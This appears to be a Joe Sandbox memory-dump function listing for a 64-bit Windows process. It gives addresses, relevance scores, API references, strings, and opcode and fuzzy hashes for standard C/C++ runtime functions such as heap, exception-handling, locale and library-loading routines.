Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: |~fqVG
API String ID: 485612231-3303519982
Opcode ID: 8ca5f9b9afe2a1ab358cc5a1c228255cabf2ac0385a2a04a48b8430728c2505a
Instruction ID: 2130caf0a2989a1690d7924b0774582292b6881755882c7141cf428c874d9e95
Opcode Fuzzy Hash: 8ca5f9b9afe2a1ab358cc5a1c228255cabf2ac0385a2a04a48b8430728c2505a
Instruction Fuzzy Hash: F741E266714A5592FF08DF2ED9155A9F3A1FB48FC0B8AA032EE0D87B58DE3CC041A300

Function 00007FF73A40BDD4 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF73A40BDD8

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1da0440ed416fdd449553909bf9a1db47b46f554b6c3f078e270c30caa019559
Instruction ID: d3eaca1be38dcb91c2fefb55ba2bcf73639a7b30bc8b202dce4278c29616b18b
Opcode Fuzzy Hash: 1da0440ed416fdd449553909bf9a1db47b46f554b6c3f078e270c30caa019559
Instruction Fuzzy Hash: 40B09268E07A06D2FA087B197C4321862A47F58780FD680B9C40C41320DF2C20B5A721

Function 00007FF73A40000C Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7109f6d66ea2bcb3fcf48e369374f18d00b5ecf0dda747d50eb1d51b175624ba
Instruction ID: c3b99c72790d5e324a1a485ddfa935f5d66412f39994faf5df24765011b8a09d
Opcode Fuzzy Hash: 7109f6d66ea2bcb3fcf48e369374f18d00b5ecf0dda747d50eb1d51b175624ba
Instruction Fuzzy Hash: 7A81D476A04A5196FB20EF29D48237DF360FB84B94F958636EE1E87794CF38D441A311

Function 00007FF73A40F84C Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 80c9ba1454821e56d09626715f1adff33740e042ef6f704d56f420b68e0c08fa
Instruction ID: 260bd86606c84d4a366c9f814dc5e5437804c92191b40727f8eb94314573a568
Opcode Fuzzy Hash: 80c9ba1454821e56d09626715f1adff33740e042ef6f704d56f420b68e0c08fa
Instruction Fuzzy Hash: AA612B2AE1C74376F764E92C9442639E681AF80370F9606B5D61E86AD1DE7CE800B722

Function 00007FF73A411E30 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2579ee338d7137eaa34571bac64e97de0e4a0919a686233ee17fa3397aa3dd5e
Instruction ID: 0c44706fb5431d4321810690d2506c60ea1e9686c8579e602d831c54cf725aae
Opcode Fuzzy Hash: 2579ee338d7137eaa34571bac64e97de0e4a0919a686233ee17fa3397aa3dd5e
Instruction Fuzzy Hash: 2CF06275B292999AEBE49F2CA843729B7D0F708384F90C07DD68D83F04DA7C90609F14

Function 00007FF73A3F8C90 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dbe8be3fdfe9a3948dfa8428d32c069e3a053949d024d9b812c82a406bcec9
Instruction ID: 76bde744b49ebdfddbea5cd3514622238e56c7ae9e024b06b75ca471ff24aeee
Opcode Fuzzy Hash: 07dbe8be3fdfe9a3948dfa8428d32c069e3a053949d024d9b812c82a406bcec9
Instruction Fuzzy Hash: 4EA0016A99A803E4FA48AB04A866460A320EB64352BE201B5E44D814A09E3CA450E220

Function 00007FF73A3F2270 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 396COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF73A3F22CF

Part of subcall function 00007FF73A3F6AF4: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF73A3F22D4), ref: 00007FF73A3F6B06

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F253B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F2541
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F2547
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF73A3F2661
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F268C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F27B9
__std_exception_copy.LIBVCRUNTIME ref: 00007FF73A3F27ED

Strings

: ", xrefs: 00007FF73A3F23F5
|~fqVG, xrefs: 00007FF73A3F228E
", ", xrefs: 00007FF73A3F2428

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ApisFile__std_exception_copy__std_exception_destroy__std_fs_code_page
String ID: ", "$: "$|~fqVG
API String ID: 4080386414-1771333729
Opcode ID: e0687b416090407da58e5f28bfa2971eaf4c9ee23a2eb5180f1abe1b4521861a
Instruction ID: 878f075f445f306433d2a3673cb677f45fd876dc5c628f019789ea34b8417aee
Opcode Fuzzy Hash: e0687b416090407da58e5f28bfa2971eaf4c9ee23a2eb5180f1abe1b4521861a
Instruction Fuzzy Hash: 9EF1E1B6B1AB42E1FF08EF65D4463ACA361EB44B88F804076DA4D07B99DF78D884D350

Function 00007FF73A3FABC0 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF73A3FAC1D

Part of subcall function 00007FF73A3FCF80: __GetUnwindTryBlock.LIBCMT ref: 00007FF73A3FCFC3
Part of subcall function 00007FF73A3FCF80: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF73A3FCFE8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF73A3FACF5
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF73A3FAF43
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73A3FB050

Strings

|~fqVG, xrefs: 00007FF73A3FABD9
csm, xrefs: 00007FF73A3FAC37
csm, xrefs: 00007FF73A3FAD18
csm, xrefs: 00007FF73A3FAC9E

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm$|~fqVG
API String ID: 849930591-748751075
Opcode ID: ee1809c7fbfe8fe136b003fb3be94c9213cbc22be77ffdee26613d8d8fce83c2
Instruction ID: 0616ca6138d3832e2978ab302623657504723e16b0d0760a7074f57ed1547896
Opcode Fuzzy Hash: ee1809c7fbfe8fe136b003fb3be94c9213cbc22be77ffdee26613d8d8fce83c2
Instruction Fuzzy Hash: 01D19E76D197839AFF20AF6594423ADA7A0FB44B88F504179EE4D57B99CF38E080E710

Function 00007FF73A406400 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF73A406B08,?,?,?,?,00007FF73A3FFFA9,?,?,?,?,00007FF73A3F6E60), ref: 00007FF73A40657C
GetProcAddress.KERNEL32(?,?,?,00007FF73A406B08,?,?,?,?,00007FF73A3FFFA9,?,?,?,?,00007FF73A3F6E60), ref: 00007FF73A406588

Strings

ext-ms-, xrefs: 00007FF73A4064D9
api-ms-, xrefs: 00007FF73A4064C6
|~fqVG, xrefs: 00007FF73A40643C, 00007FF73A406521, 00007FF73A406593

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-$|~fqVG
API String ID: 3013587201-1876307669
Opcode ID: 289b252e76c797c21b5f023d4d7c5738725c70101b4476a1829e9950c1a11480
Instruction ID: 3661dfa9f77419c99264911923151f2faca49cdd8503c53ab605fd5ac0169699
Opcode Fuzzy Hash: 289b252e76c797c21b5f023d4d7c5738725c70101b4476a1829e9950c1a11480
Instruction Fuzzy Hash: A0415839B19A0261FA16EB1AB8025B5E291BF05B90F964174DD0F87788EF3CE405B321

Function 00007FF73A40492C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF73A40493B
FlsGetValue.KERNEL32 ref: 00007FF73A404950
FlsSetValue.KERNEL32 ref: 00007FF73A404971
FlsSetValue.KERNEL32 ref: 00007FF73A40499E
FlsSetValue.KERNEL32 ref: 00007FF73A4049AF
FlsSetValue.KERNEL32 ref: 00007FF73A4049C0
SetLastError.KERNEL32 ref: 00007FF73A4049DB

Strings

|~fqVG, xrefs: 00007FF73A404936

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Value$ErrorLast
String ID: |~fqVG
API String ID: 2506987500-3303519982
Opcode ID: 69d50fb44b4381e2267c746501ea7923b0e6ce42c0241678fa123fbd6296f1a2
Instruction ID: 19788de06487f502279ec9c4684450b90bee7fcefb4a8286c659e1b288e36410
Opcode Fuzzy Hash: 69d50fb44b4381e2267c746501ea7923b0e6ce42c0241678fa123fbd6296f1a2
Instruction Fuzzy Hash: C421B028B0C24761F958F77D6553139E1429FA47B0F9287B5D92E0BAC6DE6CA4407332

Function 00007FF73A3F7A78 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73A3F7AE8
MultiByteToWideChar.KERNEL32 ref: 00007FF73A3F7B86
LCMapStringEx.KERNEL32 ref: 00007FF73A3F7BEF
LCMapStringEx.KERNEL32 ref: 00007FF73A3F7C41
LCMapStringEx.KERNEL32 ref: 00007FF73A3F7CE6
WideCharToMultiByte.KERNEL32 ref: 00007FF73A3F7D40

Strings

|~fqVG, xrefs: 00007FF73A3F7A97

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID: |~fqVG
API String ID: 2829165498-3303519982
Opcode ID: 5ee8c5b108fca4a97ddfb8b367f05df98f08852e8ccaf75ced40f6c020011866
Instruction ID: 63d5a9253420216e94422cebf2993e2ea5fca1c7c2f65e48430b2f138a31fe7d
Opcode Fuzzy Hash: 5ee8c5b108fca4a97ddfb8b367f05df98f08852e8ccaf75ced40f6c020011866
Instruction Fuzzy Hash: 1F81D07AA1A74296FF20AF25A441279B691FF45BE8F940279EA1D43BD8DF3CD4049320

Function 00007FF73A3F54A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F54E7
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F550C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F5536
std::_Facet_Register.LIBCPMT ref: 00007FF73A3F55B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F55CA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A3F5624

Strings

|~fqVG, xrefs: 00007FF73A3F54BA

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: |~fqVG
API String ID: 2081738530-3303519982
Opcode ID: bf138b911cd8e884d20b3277601c18e0904331efa30289f53c243972f023fb2a
Instruction ID: d1de3350242bc74605f43c5da6448bb70daeff16da24125287357f1aab12d21c
Opcode Fuzzy Hash: bf138b911cd8e884d20b3277601c18e0904331efa30289f53c243972f023fb2a
Instruction Fuzzy Hash: FF41933AA19B4691FE10EF25E442179B761FF85B90F8801B6EA8E037A5DF3CE445D720

Function 00007FF73A3F5860 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F588B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F58B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F58DA
std::_Facet_Register.LIBCPMT ref: 00007FF73A3F5951
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F596B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A3F5993

Strings

|~fqVG, xrefs: 00007FF73A3F5872

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: |~fqVG
API String ID: 2081738530-3303519982
Opcode ID: 2122288b5b25a0ed3ac52127f55f76d71ece30480fceaf66fc8f0ccfee7979f4
Instruction ID: d819cf147b313d05a838181749605e9d518fc67d2839f3abef133d0c6d4bf748
Opcode Fuzzy Hash: 2122288b5b25a0ed3ac52127f55f76d71ece30480fceaf66fc8f0ccfee7979f4
Instruction Fuzzy Hash: 0731A72AA19A43A1FE14FF15E4421BAE360FF54BA4F880175DA5D037A9DF3CE445E720

Function 00007FF73A403A40 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A403A83
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A403E70
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40410C

Strings

p, xrefs: 00007FF73A403B35
p, xrefs: 00007FF73A403BAD
f, xrefs: 00007FF73A403BA5

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: dec70707f6924979680810ea5ec79d9b498a17b86748ca286f0cf39edf5d9672
Instruction ID: ff9fa6581a79996804d847a012c1fc7a1588c7534e2bdd38a378723715baae48
Opcode Fuzzy Hash: dec70707f6924979680810ea5ec79d9b498a17b86748ca286f0cf39edf5d9672
Instruction Fuzzy Hash: F412A72AA0C143A6FB64FB18E046679F652FBA0754FC64175E689476C4EF3CF440BB22

Function 00007FF73A3FB090 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF73A3FB22E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73A3FB557

Strings

csm, xrefs: 00007FF73A3FB175
csm, xrefs: 00007FF73A3FB1D7
|~fqVG, xrefs: 00007FF73A3FB0AC
csm, xrefs: 00007FF73A3FB255

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm$|~fqVG
API String ID: 3523768491-748751075
Opcode ID: b8e5615955f7dc2eb55b848d6ff6062bcaa0ce4322343a125c005f31dd50ef8c
Instruction ID: f5a28d8499a4dff796a6182e7d563be0debb30d181e6b582982a4f1ca9e07095
Opcode Fuzzy Hash: b8e5615955f7dc2eb55b848d6ff6062bcaa0ce4322343a125c005f31dd50ef8c
Instruction Fuzzy Hash: 37E1B07A9296839AFF10AF24D4822BDB7A0EB44748F900179DE8D57696CF3CE481DB10

Function 00007FF73A407A60 Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A407E8D

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f691b260bc46caa059fc1d59d9bd43d62ef92d00f3645d7fa93bfa92697d6b14
Instruction ID: 5e75a30ee554a933a17e990dc9ac4f5b61d74f2a1a23ceea0604bb125059496c
Opcode Fuzzy Hash: f691b260bc46caa059fc1d59d9bd43d62ef92d00f3645d7fa93bfa92697d6b14
Instruction Fuzzy Hash: 98C1E52A90CA8665F6A1EB1895422BDFB51FF92B80FD70171DA4D03391CE7CE845B363

Function 00007FF73A408BD4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A408CB8

Strings

|~fqVG, xrefs: 00007FF73A408CDF
|~fqVG, xrefs: 00007FF73A408D09, 00007FF73A408DA4
|~fqVG, xrefs: 00007FF73A408CE8
|~fqVG, xrefs: 00007FF73A408CCD
|~fqVG, xrefs: 00007FF73A408CD6

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: |~fqVG$|~fqVG$|~fqVG$|~fqVG$|~fqVG
API String ID: 3215553584-4234897388
Opcode ID: b7429684dfb0a50d99e81f109de8a6008f2f118e748ad483968e84c9f802f125
Instruction ID: 4c2f79e9621e51f23abcb3f4b9c216df27acf8981b22f2846803a93492b23f07
Opcode Fuzzy Hash: b7429684dfb0a50d99e81f109de8a6008f2f118e748ad483968e84c9f802f125
Instruction Fuzzy Hash: EE61B53AD1D646A1FA64FB2C964213AF6E0FF94740F9345B5DA0E13794DE3CE841B222

Function 00007FF73A3FD4EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF73A3FD79E,?,?,?,00007FF73A3FD3EC,?,?,?,00007FF73A3F9E59), ref: 00007FF73A3FD571
GetLastError.KERNEL32(?,?,?,00007FF73A3FD79E,?,?,?,00007FF73A3FD3EC,?,?,?,00007FF73A3F9E59), ref: 00007FF73A3FD57F
LoadLibraryExW.KERNEL32(?,?,?,00007FF73A3FD79E,?,?,?,00007FF73A3FD3EC,?,?,?,00007FF73A3F9E59), ref: 00007FF73A3FD5A9
FreeLibrary.KERNEL32(?,?,?,00007FF73A3FD79E,?,?,?,00007FF73A3FD3EC,?,?,?,00007FF73A3F9E59), ref: 00007FF73A3FD617
GetProcAddress.KERNEL32(?,?,?,00007FF73A3FD79E,?,?,?,00007FF73A3FD3EC,?,?,?,00007FF73A3F9E59), ref: 00007FF73A3FD623

Strings

api-ms-, xrefs: 00007FF73A3FD591

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: d8e360d3a3f465031357ae92f49d5ddd019760dd9654fcee9edd8a148cf45f4c
Instruction ID: 55a68f26c20bc505ba1f0ef5ac38af13b2a9cf0a897f86d706e11ba72f23f1ab
Opcode Fuzzy Hash: d8e360d3a3f465031357ae92f49d5ddd019760dd9654fcee9edd8a148cf45f4c
Instruction Fuzzy Hash: 7A312A35B2B643A2FE22BB06A805174A394BF14BA8FD90278DD1D07394EF3CE404A320

Function 00007FF73A411200 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

